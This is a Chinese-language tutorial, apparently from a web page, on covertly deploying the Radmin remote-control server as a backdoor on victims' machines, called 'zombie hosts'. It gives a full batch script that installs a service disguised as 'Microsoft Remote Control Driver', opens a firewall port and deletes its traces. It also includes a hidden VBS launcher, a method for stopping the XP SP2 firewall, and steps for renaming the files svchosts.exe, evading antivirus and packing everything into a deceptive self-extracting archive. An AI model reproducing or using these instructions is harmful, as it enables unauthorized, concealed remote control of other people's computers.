現在網(wǎng)上有很多關(guān)于Radmin的文章和教程，很多技術(shù)型站點(diǎn)都做了收費教程。下面我也來(lái)談?wù)劙?，替大家省錢(qián)了。Radmin是一款國外的遠程控制軟件，在國內許多網(wǎng)站都可以下載到Radmin漢化版或者影子版，目前Radmin官方網(wǎng)站最新版是Radminv3.0（Beta2）版，此客戶(hù)端完全兼容以前的2.1或2.2版的服務(wù)器端。但某些功能需要3.0服務(wù)器端的支持，因此這些功能尚不可用。不過(guò)可以連接3.0影子版服務(wù)端，我試過(guò)了沒(méi)問(wèn)題。它的連接方式是正向連接，我來(lái)介紹一下它的功能和用途： 1.傳輸速度和效率非常高，只要查找開(kāi)放4899端口就是安裝Radmin服務(wù)端的機器了。 2.可以在win98和NT主機以應用程序方式控制，也就是只要執行服務(wù)端就行了。 8.完全免費的遠程控制軟件。  Radmin還有很多功能，但是重點(diǎn)就在于如何配置它的服務(wù)端。經(jīng)常使用遠程控制軟件的人都知道，控制端在自己機器上沒(méi)問(wèn)題，服務(wù)端在遠程計算機上，如果配置有問(wèn)題，被遠程管理員發(fā)現，那么就功虧一簣了。所以配置服務(wù)端很重要，我們下載3.2影子免安裝版，把其中的以下3個(gè)文件留下（r_server.exe、raddrv.dll、AdmDll.dll）就行了。 接下來(lái)說(shuō)一下Radmin的配置。在CMD下輸入:c:\R_server.exe /setup，彈出安裝設置窗，然后我們選擇設定密碼選項，彈出設置密碼對話(huà)框，這里設置的8位數密碼是在連接遠程機器的時(shí)候需要輸入的，一定要牢記。如果你想用NT服務(wù)器的賬號登陸，也可以在這里設置。這里可以設置肉雞的任何組的賬號，而且有全部的權限。這樣就跳過(guò)了NT的賬號檢查，如果這樣設置，那么還需要在A(yíng)ccess rights里設置一下權限，一般我們選中All access（代表全部允許）就行了?？刂拼罅咳怆u的話(huà)不推薦選中NT賬號檢查。接下來(lái)我們打開(kāi)選項設置參數?！癐P過(guò)濾”可以設置允許連接的IP地址（當然是自己的IP地址），可以是單個(gè)IP地址，如10.10.10.10，網(wǎng)關(guān)設置成255.255.255.254就行了，當然也可以是C段IP地址，如10.10.10.0，網(wǎng)關(guān)設置成255.255.255.0就行了；“端口”默認是4899，你也可以設置為自己想要的端口，我設置的端口是1030?！叭蝿?wù)欄圖標”一定要設置成隱藏。下面的日志和連接確認不用選，點(diǎn)擊確定安裝即可。最后打開(kāi)注冊表把HKEY_LOCAL_MACHINE\SYSTEM\RAdmin的注冊表文件導出，另存名為Emperor.reg。 接下來(lái)我們使用“超級捆綁”把這3個(gè)文件捆綁（r_server.exe、raddrv.dll、AdmDll.dll）。修改圖標為系統圖標，屬性修改選中“只讀”、“隱藏”和“系統”3項即可，然后還要更名為：svchosts.exe。最后還要做個(gè)免殺。然后再去下載兩款小工具，Killer（殺殺毒軟件防火墻的小工具）、SC(服務(wù)添加刪除更改工具)，同樣給這兩個(gè)工具做免殺，以防萬(wàn)一。免殺我們以后再說(shuō)，不會(huì )的朋友去pediy下載加殼工具慢慢試吧。
再來(lái)制作一個(gè)Emperor.bat文件，內容如下：
@echo off
@sc stop r_server @sc stop radmm
@sc delete r_server
@sc delete radmm
@regedit /s Emperor.reg @SC create Svchosts BinPath= "%systemroot%\system32\COM\Svchosts.exe /service" type= own type= interact start= auto DisplayName= "Microsoft Remote Control Driver" @sc description Svchosts "Microsoft Remote Control Driver。" @sc config wuauserv depend= Svchosts @echo Windows Registry Editor Version 5.00 > %systemroot%\system32\COM\killFirewall.reg
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List] >> %systemroot%\system32\COM\killFirewall.reg @echo "1030:TCP"="1030:TCP:*:Enabled:Microsoft Remote Control Driver">> stemroot%\system32\COM\killFirewall.reg @regedit /s %systemroot%\system32\COM\killFirewall.reg @attrib +h +r %systemroot%\system32\COM\svchosts.exe @sc start svchosts @del /q /f /s %systemroot%\system32\COM\Emperor.reg @del /q /f /s %systemroot%\system32\COM\Emperor.vbs @del /q /f /s %systemroot%\system32\COM\Emperor.bat @del /q /f /s %systemroot%\system32\COM\sc.exe @del /q /f /s %systemroot%\system32\COM\killFirewall.reg 再來(lái)制作一個(gè)Emperor.vbs文件，內容如下：
On Error Resume Next
set wshshell=createobject ("wscript.shell") a=wshshell.run ("Emperor.bat"，0) 文件制作完成：svchosts.exe、Emperor.reg、Emperor.vbs、Emperor.bat、sc.exe、Killer.exe。將它們打包制成自解壓形式。勾選RAR里的“創(chuàng )建自解壓格式壓縮文件”，到高級里打開(kāi)“自解壓選項”，“解壓路徑”為%systemroot%\system32\COM\，解壓后運行“Emperor.vbs”，解壓前運行“Killer.exe”，模式里選“全部隱藏”跟“跳過(guò)已經(jīng)存在文件”，文本和圖標選項里“從文件加載自解壓文件圖標”里選一個(gè)迷惑性的ico圖標做為自解壓最后生成的圖標。最后生成自解壓文件。搞定！
補充：再來(lái)看看另一種穿透Windows XP SP2防火墻的思路：我們先要把服務(wù)的類(lèi)型改為禁用。運行輸入services.msc打開(kāi)服務(wù)。找到Windows Firewall/Internet Connection Sharing (ICS)這個(gè)服務(wù)，把類(lèi)型設置為禁用：做到這一步后，我們打開(kāi)控制面版－防火墻-例外－添加端口。因為我剛才設端口是1983，填入1983。然后我們要把Windows XP SP2防火墻服務(wù)的注冊表導出來(lái)。位置是在HKEY_LOCAL_MACHINE\system\currentcontrolset\services\sharedAccess\ 導出命名為sharedaccess.reg，最后我們新建一個(gè)Emperor.vbs文件，輸入以下內容：
set Emperor=wscript.createobject("wscript.shell")
Emperor.run "net stop sharedaccess",0 Emperor.run "regedit.exe /s shardaccess.reg",0 Emperor.run "regedit.exe /s radmin.reg",0 Emperor.run "r_server.exe /install /silence",0 Emperor.run "r_server.exe /start",0 把sharedaccess.reg和Emperor.vbs添加到配置好的Radmin的解壓縮包里就OK了。
|
聯(lián)系客服
